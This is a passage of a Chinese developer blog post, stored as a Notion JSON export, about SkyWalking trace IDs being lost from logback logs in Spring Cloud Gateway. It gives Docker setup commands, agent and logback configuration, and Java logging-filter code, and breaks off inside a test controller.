e":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":"","blockMap":{"block":{"026c5c21-3604-4c0a-a13c-ccb9208e4815":{"value":{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","version":670,"type":"page","content":["84e0b4e4-4d09-4735-852f-62349007a189","b267e4d3-fa97-49ee-869b-7703ce772c53","a2da58b3-7dae-4889-8059-2522ed89c7f6","a1dcafde-033c-49a8-9442-bd22aa378568","ddda7846-980f-4721-a3b4-b2953d261af9","2ec1c825-217c-429b-afee-6caa19a43975","f6a2e306-a790-4fcb-af12-94ccdb9d0d7f","9b023386-b08f-4aa6-bef7-896a31790d84","53025e58-6041-4a0f-a4ec-5a552adfeaf2","a041e284-4a45-412e-b398-4a7ed69c1c37","849e8815-5eee-4e86-a63f-20722b7aa995","5bfd9a27-7898-41d8-b891-1bbc13be8d85","24317eef-356b-473c-b5c4-8ee8ec9f3ff4","9664075b-aae9-443c-947f-c212527f54e8","9af8dde9-01fa-4690-b577-e20d51ad4ffb","9fc64fb0-a43a-4bdf-b9dd-61425023bb8c","a13d2aa7-aebc-496f-9cc5-a4265f2ca292","e043a384-8bde-4de7-9a50-37602c2ed361","7ff97387-22a0-429c-9c2c-4128b82bc66f","c4c8d23c-69ee-490b-9a74-0eeb131c14fb","66f7b00c-2f1b-42a0-af57-1ff1d633f955","3a2d209a-d79f-4540-828d-773a22eae9b4","1a36dd47-5252-42f6-ade2-80ed742fb9f4","4caba176-ac58-4988-b755-471afac1a52d","b4ef4f0c-8378-421c-a55f-90c3a012fe29","1c9a8144-f42c-4114-b5cc-a451b261c4a4","0166e46c-5c22-4924-85c8-358ee4206ae2","c8b1acfb-2578-4b1d-83ee-6f622e1bd843","14af7bb3-3a67-4f83-8626-f377c1c56369","4fdd346f-ce99-49d6-a7c7-728734284e76","ab58e4d5-e7aa-4ba9-8c85-48b73ee0115d","c6104167-a456-4af4-b62a-d87bd0dc5b7f","733c637e-92ba-4889-87a7-f84308daeb66","f698fa80-fe58-4bec-a2aa-0afc33e8ffc7","5132098d-d3aa-4e40-ae84-0408e95d1039","1fc83cb3-1d07-43aa-bdea-0b706377887c","7bba3470-42ba-431c-9d63-49968c4ac543","c419ccc0-1429-4f18-af45-d9833e0282eb","91afc304-892f-42d3-bbcc-bb59e4fdd8d8","d9b07a77-5441-4573-8a13-db4be5c3ea3b","97e7928f-be51-43d0-b14d-05127bbeff35","e325c70e-f58c-478c-90b8-eccec3b5d808","584a5e58-4911-40f7-b4e8-67a14b578ba7","4b0d4b9b-c2e6-4fab-a1b4-01a7857bc706","0d136c13-f56c-470a-82fd-2edf46b9e1da","66932228-ed81-493f-ad40-f0cfa8a859d9","30bbe270-0897-4876-b780-500241acd206","a70ffef7-587f-481e-b2ef-c8635aa19049","754bfdec-4110-434d-855b-a46fd419c980","4efa436d-f550-4eda-ac48-8e6d733d8753","0d416ba8-81ec-4468-abaa-3458beed1f20","5df9de5c-e418-4045-ad9b-5003dbc43a99","c9f62dfd-e97e-45d1-afcf-f286342cbce3","eaafbb80-be83-4ef3-92b1-1df503ffe4f0","e7c407ce-c395-47c7-a594-0955b82cdb60","819553b3-aee8-4c8e-ba69-0120fe69cbd4","2da2c502-dcea-4989-b497-12bc4a5cf52b","e7cc9331-e6d1-4a9c-b328-cd8b4b87e032","0e05852c-3ee2-4087-a126-3de4e0942a19","39cdd25c-bec1-4319-86b7-2b3db77e107a","19073c4d-640d-4621-9e5c-56a99d0255dc","65fc421b-dc9a-4a4c-b3b1-739e002e5d8d","fc0bc607-3ddb-47e6-879b-5229ae258f71","f0568091-07d1-43b3-9a52-11cd0d74650d","31887616-fe32-43df-97c9-f850a7201f22","065453d6-fec4-45d0-a4a6-8ddd1d07b18c","19e3bbae-2412-427b-b58b-07013f336d4e","2fb486a5-74f6-4bcf-bf78-3f7142f7c121","80ee939b-8833-4392-a7e3-5687659406c1"],"format":{"page_font":"mono","page_icon":"🗒️","page_cover":"https://source.unsplash.com/random","block_locked":false,"block_locked_by":"e3bce58f-88e9-475b-8d52-370cf8e95e16","copied_from_pointer":{"id":"77f4d759-8660-4888-8d35-4214be459ba1","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"page_cover_position":0.5},"created_time":1705767165151,"last_edited_time":1705776752627,"parent_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","parent_table":"collection","alive":true,"copied_from":"77f4d759-8660-4888-8d35-4214be459ba1","created_by_table":"notion_user","created_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","last_edited_by_table":"notion_user","last_edited_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"87ff73a8-1273-4f5f-96c1-cd1becb07207":{"value":{"id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","type":"collection_view_page","content":["50fa88a0-6936-488c-8abc-b558b6a7b0d6"],"view_ids":["8e40545c-4d1c-4299-8605-c04d7ab6872f","818d9fe2-a27d-40ec-b827-614939109ca4","ad494b39-a38c-415e-9221-325f0f9be280","58c6fb90-5030-4627-8bad-38b57c3253cd"],"collection_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"19c33d8c-a320-4635-ab97-ddf00a96c478","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"},{"role":"comment_only","type":"public_permission","added_timestamp":1705594424869,"allow_duplicate":false,"allow_search_engine_indexing":true}],"created_time":1705594337173,"last_edited_time":1711431614088,"parent_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175","parent_table":"space","alive":true,"copied_from":"19c33d8c-a320-4635-ab97-ddf00a96c478"}},"84e0b4e4-4d09-4735-852f-62349007a189":{"value":{"id":"84e0b4e4-4d09-4735-852f-62349007a189","type":"table_of_contents","format":{"block_color":"gray","copied_from_pointer":{"id":"be61f37e-3882-4318-ad2b-2c61e18b529f","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166213,"last_edited_time":1705767166213,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"be61f37e-3882-4318-ad2b-2c61e18b529f"}},"b267e4d3-fa97-49ee-869b-7703ce772c53":{"value":{"id":"b267e4d3-fa97-49ee-869b-7703ce772c53","type":"header","properties":{"title":[["契机"]]},"format":{"copied_from_pointer":{"id":"39f8a9bd-9efd-414b-a3ad-d588e49686b1","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166212,"last_edited_time":1705767401013,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"39f8a9bd-9efd-414b-a3ad-d588e49686b1"}},"a2da58b3-7dae-4889-8059-2522ed89c7f6":{"value":{"id":"a2da58b3-7dae-4889-8059-2522ed89c7f6","type":"callout","properties":{"title":[["吴晟大佬:",[["b"]]],["Why ping me? The plugin is not written by me. I don't know anything about agent running in Spring cloud."]]},"format":{"page_icon":"😀","block_color":"gray_background","copied_from_pointer":{"id":"0f651cbe-3b3d-4c6b-9341-9409d13cdc9f","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166212,"last_edited_time":1705767432426,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"0f651cbe-3b3d-4c6b-9341-9409d13cdc9f"}},"a1dcafde-033c-49a8-9442-bd22aa378568":{"value":{"id":"a1dcafde-033c-49a8-9442-bd22aa378568","type":"text","properties":{"title":[["一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。"]]},"format":{"copied_from_pointer":{"id":"4b7fd301-ccb3-49e5-a655-951a4373ac77","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166213,"last_edited_time":1705772297047,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"4b7fd301-ccb3-49e5-a655-951a4373ac77"}},"ddda7846-980f-4721-a3b4-b2953d261af9":{"value":{"id":"ddda7846-980f-4721-a3b4-b2953d261af9","type":"image","properties":{"size":[["66.7KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/96bded73-53ce-4eb0-8549-7899d58355c5/Untitled.png"]]},"format":{"block_width":943,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/96bded73-53ce-4eb0-8549-7899d58355c5/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.5058324496288441,"block_preserve_scale":true},"created_time":1705767731205,"last_edited_time":1705767734670,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"file_ids":["96bded73-53ce-4eb0-8549-7899d58355c5"]}},"2ec1c825-217c-429b-afee-6caa19a43975":{"value":{"id":"2ec1c825-217c-429b-afee-6caa19a43975","type":"header","properties":{"title":[["场景复现"]]},"format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166212,"last_edited_time":1705769812454,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"2a4bed21-5134-4768-b685-1e2970694950"}},"f6a2e306-a790-4fcb-af12-94ccdb9d0d7f":{"value":{"id":"f6a2e306-a790-4fcb-af12-94ccdb9d0d7f","type":"sub_header","properties":{"title":[["版本"]]},"created_time":1705768046282,"last_edited_time":1705768185934,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"9b023386-b08f-4aa6-bef7-896a31790d84":{"value":{"id":"9b023386-b08f-4aa6-bef7-896a31790d84","type":"bulleted_list","properties":{"title":[["spring-cloud-gateway-dependencies = 3.1.3"]]},"created_time":1705768185933,"last_edited_time":1705768331452,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"53025e58-6041-4a0f-a4ec-5a552adfeaf2":{"value":{"id":"53025e58-6041-4a0f-a4ec-5a552adfeaf2","type":"bulleted_list","properties":{"title":[["skywalking-oap-server:9.3.0"]]},"created_time":1705768200635,"last_edited_time":1705768357934,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"a041e284-4a45-412e-b398-4a7ed69c1c37":{"value":{"id":"a041e284-4a45-412e-b398-4a7ed69c1c37","type":"bulleted_list","properties":{"title":[["skywalking-ui:9.3.0"]]},"created_time":1705768337871,"last_edited_time":1705768349258,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"849e8815-5eee-4e86-a63f-20722b7aa995":{"value":{"id":"849e8815-5eee-4e86-a63f-20722b7aa995","type":"bulleted_list","properties":{"title":[["apache-skywalking-java-agent:9.0.0"]]},"created_time":1705768362909,"last_edited_time":1705768424803,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"5bfd9a27-7898-41d8-b891-1bbc13be8d85":{"value":{"id":"5bfd9a27-7898-41d8-b891-1bbc13be8d85","type":"bulleted_list","properties":{"title":[["假设有gateway+user两个模块"]]},"created_time":1705768920888,"last_edited_time":1705768939595,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"24317eef-356b-473c-b5c4-8ee8ec9f3ff4":{"value":{"id":"24317eef-356b-473c-b5c4-8ee8ec9f3ff4","type":"text","created_time":1705768047872,"last_edited_time":1705768047873,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"9664075b-aae9-443c-947f-c212527f54e8":{"value":{"id":"9664075b-aae9-443c-947f-c212527f54e8","type":"sub_header","properties":{"title":[["skyWalking环境搭建"]]},"created_time":1705767891627,"last_edited_time":1705768543788,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"9af8dde9-01fa-4690-b577-e20d51ad4ffb":{"value":{"id":"9af8dde9-01fa-4690-b577-e20d51ad4ffb","type":"code","properties":{"title":[["#先搞个elasticsearch 略\n\n#docker搭建skywalking-oap-server\ndocker run -d \\\n--name skywalking-oap \\\n--privileged=true \\\n-p 11800:11800 \\\n-p 12800:12800 \\\n--restart always \\\n-e SW_CORE_RECORD_DATA_TTL=15 \\\n-e SW_CORE_METRICS_DATA_TTL=15 \\\n-e SW_ENABLE_UPDATE_UI_TEMPLATE=\"true\" \\\n-e SW_HEALTH_CHECKER=default \\\n-e TZ=Asia/Shanghai \\\n-e SW_STORAGE=elasticsearch \\\n-e JAVA_OPTS=\"-Xms512m -Xmx1024m\" \\\n-e SW_STORAGE_ES_CLUSTER_NODES=host.docker.internal:9200 \\\n-e SW_ES_PASSWORD=guest \\\n-e  SW_ES_USER=elastic "],["apache/skywalking-oap-server:9.3.0",[["a","http://registry.docker-cn.com/apache/skywalking-oap-server:9.3.0"]]],[" \n\n#docker搭建skywalking-ui\ndocker run -d \\\n--name skywalking-ui \\\n--link skywalking-oap  \\\n--privileged=true \\\n-p 18080:8080  \\\n--restart always \\\n-e TZ=Asia/Shanghai \\\n-e SW_HEALTH_CHECKER=default \\\n-e SW_OAP_ADDRESS=http://host.docker.internal:12800 apache/skywalking-ui:9.3.0\n\n#下载agent\nwget "],["https://dlcdn.apache.org/skywalking/java-agent/9.0.0/apache-skywalking-java-agent-9.0.0.tgz",[["a","https://dlcdn.apache.org/skywalking/java-agent/9.0.0/apache-skywalking-java-agent-9.0.0.tgz"]]]],"language":[["Bash"]]},"created_time":1705768489471,"last_edited_time":1705772352936,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"9fc64fb0-a43a-4bdf-b9dd-61425023bb8c":{"value":{"id":"9fc64fb0-a43a-4bdf-b9dd-61425023bb8c","type":"sub_header","properties":{"title":[["agent目录配置"]]},"format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166212,"last_edited_time":1705772366424,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"2a4bed21-5134-4768-b685-1e2970694950"}},"a13d2aa7-aebc-496f-9cc5-a4265f2ca292":{"value":{"id":"a13d2aa7-aebc-496f-9cc5-a4265f2ca292","type":"code","properties":{"title":[["#进入skywalking-agent目录\ncd skywalking-agent\n\n#拷贝optional-plugins里面的必要插件到activations\napm-toolkit-logback-1.x-activation-9.0.0.jar\napm-toolkit-logging-common-9.0.0.jar\napm-toolkit-trace-activation-9.0.0.jar\napm-toolkit-webflux-activation-9.0.0.jar"]],"language":[["Bash"]]},"created_time":1705772472190,"last_edited_time":1705775707518,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"e043a384-8bde-4de7-9a50-37602c2ed361":{"value":{"id":"e043a384-8bde-4de7-9a50-37602c2ed361","type":"sub_header","properties":{"title":[["maven依赖"]]},"format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166212,"last_edited_time":1705775991661,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"2a4bed21-5134-4768-b685-1e2970694950"}},"7ff97387-22a0-429c-9c2c-4128b82bc66f":{"value":{"id":"7ff97387-22a0-429c-9c2c-4128b82bc66f","type":"code","properties":{"title":[["<dependency>\n    <groupId>org.apache.skywalking</groupId>\n    <artifactId>apm-toolkit-trace</artifactId>\n    <version>9.0.0</version>\n</dependency>\n<dependency>\n    <groupId>org.apache.skywalking</groupId>\n    <artifactId>apm-toolkit-logback-1.x</artifactId>\n    <version>9.0.0</version>\n</dependency>"]],"language":[["XML"]]},"created_time":1705775873958,"last_edited_time":1705775884073,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"c4c8d23c-69ee-490b-9a74-0eeb131c14fb":{"value":{"id":"c4c8d23c-69ee-490b-9a74-0eeb131c14fb","type":"sub_header","properties":{"title":[["项目运行配置"]]},"format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166212,"last_edited_time":1705775701945,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"2a4bed21-5134-4768-b685-1e2970694950"}},"66f7b00c-2f1b-42a0-af57-1ff1d633f955":{"value":{"id":"66f7b00c-2f1b-42a0-af57-1ff1d633f955","type":"text","properties":{"title":[["gateway和user模块都配上一下参数,注意SW_AGENT_NAME要变一下"]]},"created_time":1705769072350,"last_edited_time":1705769198271,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"3a2d209a-d79f-4540-828d-773a22eae9b4":{"value":{"id":"3a2d209a-d79f-4540-828d-773a22eae9b4","type":"code","properties":{"title":[["#vm\n-javaagent:/Users/y/Documents/development/skywalking-agent/skywalking-agent.jar\n#env\nMYSQL_HOST=127.0.0.1;SW_AGENT_NAME=gw;SW_AGENT_COLLECTOR_BACKEND_SERVICES=127.0.0.1:11800;SW_AGENT_SPAN_LIMIT=2000"]],"language":[["Bash"]]},"created_time":1705769173537,"last_edited_time":1705769218262,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"1a36dd47-5252-42f6-ade2-80ed742fb9f4":{"value":{"id":"1a36dd47-5252-42f6-ade2-80ed742fb9f4","type":"image","properties":{"size":[["94.9KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/8cbe5b42-7099-4ebd-bf21-ca0240e5932e/Untitled.png"]]},"format":{"block_width":985,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/8cbe5b42-7099-4ebd-bf21-ca0240e5932e/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.5370558375634518,"block_preserve_scale":true},"created_time":1705769167672,"last_edited_time":1705769170915,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"file_ids":["8cbe5b42-7099-4ebd-bf21-ca0240e5932e"]}},"4caba176-ac58-4988-b755-471afac1a52d":{"value":{"id":"4caba176-ac58-4988-b755-471afac1a52d","type":"text","format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166212,"last_edited_time":1705769790717,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"2a4bed21-5134-4768-b685-1e2970694950"}},"b4ef4f0c-8378-421c-a55f-90c3a012fe29":{"value":{"id":"b4ef4f0c-8378-421c-a55f-90c3a012fe29","type":"sub_header","properties":{"title":[["logback配置"]]},"format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166212,"last_edited_time":1705769828763,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"2a4bed21-5134-4768-b685-1e2970694950"}},"1c9a8144-f42c-4114-b5cc-a451b261c4a4":{"value":{"id":"1c9a8144-f42c-4114-b5cc-a451b261c4a4","type":"code","properties":{"title":[["<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<configuration debug=\"false\" scan=\"false\">\n\n\t<!-- 彩色日志格式   -->\n\t<property name=\"CONSOLE_LOG_PATTERN\" value=\"[%d{yyyy-MM-dd HH:mm:ss.SSS}] [%highlight(%-5level)]  [%tid] [%thread] %cyan(%logger{50}:%L) - %msg%n\"/>\n\t\n  <!-- 彩色日志依赖的渲染类 -->\n\t<conversionRule conversionWord=\"clr\" converterClass=\"org.springframework.boot.logging.logback.ColorConverter\"/>\n\t<conversionRule conversionWord=\"wex\" converterClass=\"org.springframework.boot.logging.logback.WhitespaceThrowableProxyConverter\"/>\n\t<conversionRule conversionWord=\"wEx\" converterClass=\"org.springframework.boot.logging.logback.ExtendedWhitespaceThrowableProxyConverter\"/>\n\n\t<appender name=\"console\" class=\"ch.qos.logback.core.ConsoleAppender\">\n\t\t<encoder class=\"ch.qos.logback.core.encoder.LayoutWrappingEncoder\">\n\t\t\t<layout class=\"org.apache.skywalking.apm.toolkit.log.logback.v1.x.TraceIdPatternLogbackLayout\"> \n\t\t\t\t<pattern>${CONSOLE_LOG_PATTERN}</pattern>\n\t\t\t</layout>\n\t\t</encoder>\n\t</appender>\n\n\t<root level=\"INFO\">\n\t\t<appender-ref ref=\"console\"/>\n\t</root>\n\n</configuration>"]],"language":[["XML"]]},"created_time":1705769832905,"last_edited_time":1705769898053,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"0166e46c-5c22-4924-85c8-358ee4206ae2":{"value":{"id":"0166e46c-5c22-4924-85c8-358ee4206ae2","type":"sub_header","properties":{"title":[["gateway模块请求日志打印代码"]]},"format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166212,"last_edited_time":1705771680742,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"2a4bed21-5134-4768-b685-1e2970694950"}},"c8b1acfb-2578-4b1d-83ee-6f622e1bd843":{"value":{"id":"c8b1acfb-2578-4b1d-83ee-6f622e1bd843","type":"text","properties":{"title":[["就是打印四条信息:请求开始,请求头,请求结束信息,请求结束返回"]]},"created_time":1705771698743,"last_edited_time":1705771734622,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"14af7bb3-3a67-4f83-8626-f377c1c56369":{"value":{"id":"14af7bb3-3a67-4f83-8626-f377c1c56369","type":"code","properties":{"title":[["@Slf4j\n@Component\npublic class ApiLogFilter implements GlobalFilter, Ordered {\n\n    private static final String START_TIME = \"startTime\";\n\n    private static final String X_REAL_IP = \"X-Real-IP\";\n\n    private final DataBuffer emptyBuffer = new NettyDataBufferFactory(ByteBufAllocator.DEFAULT).allocateBuffer(0);\n\n    @Override\n    public Mono<Void> filter(ServerWebExchange exchange, GatewayFilterChain chain) {\n\n        //请求的基本信息\n        List<String> ips = exchange.getRequest().getHeaders().get(X_REAL_IP);\n        String ip = ips != null ? ips.get(0) : null;\n        String method = exchange.getRequest().getMethodValue();\n        String path = exchange.getRequest().getURI().getPath();\n\n        exchange.getAttributes().put(START_TIME, System.currentTimeMillis());\n        ServerHttpRequest request = exchange.getRequest();\n\n        if (path.contains(\"api-docs\")) {\n            log.warn(\"{}正在请求接口文档{}\", ip, path);\n            return chain.filter(exchange.mutate().request(request).build());\n        }\n\n        //打印请求开始日志\n        log.info(\"请求开始:\\n\\n方法:{}\\nHost:{}\\nip:{}\\n请求接口:{}\\n\", method, exchange.getRequest().getURI().getHost(), ip,\n            path);\n\n        //打印header头\n        log.info(\"请求头:\\n\\n{}\\n\", JSONUtil.toJsonStr(exchange.getRequest().getHeaders()));\n\n        //包装response,在任意地方返回打印结束信息等\n        ServerHttpResponse originalResponse = exchange.getResponse();\n        DataBufferFactory bufferFactory = originalResponse.bufferFactory();\n        ServerHttpResponseDecorator decoratedResponse = new ServerHttpResponseDecorator(originalResponse) {\n            @Override\n            @NotNull\n            public Mono<Void> writeWith(@NotNull Publisher<? extends DataBuffer> body) {\n                Long startTime = exchange.getAttribute(START_TIME);\n                if (startTime != null) {\n                    Long executeTime = (System.currentTimeMillis() - startTime);\n                    int code = 500;\n                    if (exchange.getResponse().getStatusCode() != null) {\n                        code = exchange.getResponse().getStatusCode().value();\n                    }\n                    log.info(\"请求结束信息:\\n\\n响应状态码:{}\\n请求耗时:{}ms\\n\", code, executeTime);\n                }\n\n                if (body instanceof Flux) {\n                    Flux<? extends DataBuffer> fluxBody = Flux.from(body);\n                    return super.writeWith(fluxBody.map(dataBuffer -> {\n                        byte[] content = new byte[dataBuffer.readableByteCount()];\n                        dataBuffer.read(content);\n                        DataBufferUtils.release(dataBuffer);\n                        String data = new String(content, StandardCharsets.UTF_8);//data\n                        log.info(\"请求结束返回: \\n\\n{}\\n\", data);\n                        return bufferFactory.wrap(content);\n                    }));\n                } else {\n                    log.error(\"<--- {} 响应code异常\", getStatusCode());\n                }\n                MDC.clear();\n                return super.writeWith(body);\n            }\n        };\n        //打印请求参数\n        MultiValueMap<String, String> queryParams = request.getQueryParams();\n        if (!queryParams.isEmpty()) {\n            log.info(\"请求参数(url):\\n\\n{}\\n\", queryParams);\n        }\n\n        if (HttpMethod.POST.name().equals(method)) {\n            return DataBufferUtils.join(request.getBody()).defaultIfEmpty(emptyBuffer).flatMap(dataBuffer -> {\n                byte[] bytes = new byte[dataBuffer.readableByteCount()];\n                if (PrimitiveArrayUtil.isNotEmpty(bytes)) {\n                    dataBuffer.read(bytes);\n                    String bodyString = new String(bytes, StandardCharsets.UTF_8);\n                    try {\n                        bodyString = UriUtils.decode(bodyString, \"UTF-8\");\n                    } catch (Exception e) {\n                        log.error(\"请求参数编码错误有特殊符号\", e);\n                    }\n                    log.info(\"请求参数(form):\\n\\n{}\\n\", bodyString);\n                    exchange.getAttributes().put(\"POST_BODY\", bodyString);\n                    DataBufferUtils.release(dataBuffer);\n                    Flux<DataBuffer> cachedFlux = Flux.defer(() -> {\n                        DataBuffer buffer = exchange.getResponse().bufferFactory().wrap(bytes);\n                        return Mono.just(buffer);\n                    });\n                    ServerHttpRequest mutatedRequest = new ServerHttpRequestDecorator(request) {\n                        @Override\n                        public Flux<DataBuffer> getBody() {\n                            return cachedFlux;\n                        }\n                    };\n                    return chain.filter(exchange.mutate().request(mutatedRequest).response(decoratedResponse).build());\n                } else {\n                    return chain.filter(exchange.mutate().request(request).response(decoratedResponse).build());\n                }\n            });\n        }\n        return chain.filter(exchange.mutate().request(request).response(decoratedResponse).build());\n    }\n\n    @Override\n    public int getOrder() {\n        return Ordered.HIGHEST_PRECEDENCE;\n    }\n\n}"]],"language":[["Java"]]},"created_time":1705771640301,"last_edited_time":1705771680742,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"4fdd346f-ce99-49d6-a7c7-728734284e76":{"value":{"id":"4fdd346f-ce99-49d6-a7c7-728734284e76","type":"sub_header","properties":{"title":[["user模块测试代码"]]},"format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166212,"last_edited_time":1705771687367,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"2a4bed21-5134-4768-b685-1e2970694950"}},"ab58e4d5-e7aa-4ba9-8c85-48b73ee0115d":{"value":{"id":"ab58e4d5-e7aa-4ba9-8c85-48b73ee0115d","type":"code","properties":{"title":[["\n@Slf4j\n@RestController\n@AllArgsConstructor\n@Tag(name = \"Test-测试通用\")\n@RequestMapping(\"/user/xxx/test\")\npublic class TestController {\n\n    @NoLoginRequired\n    @Operation(summary = \"testSkywalking\")\n    @GetMapping(value = \"/testSkywalking\")\n    public R<String> testSkywalking() {\n\n        log.info(\"user-testSkywalking\");\n\n        return R.ok();\n\n    }\n}\n 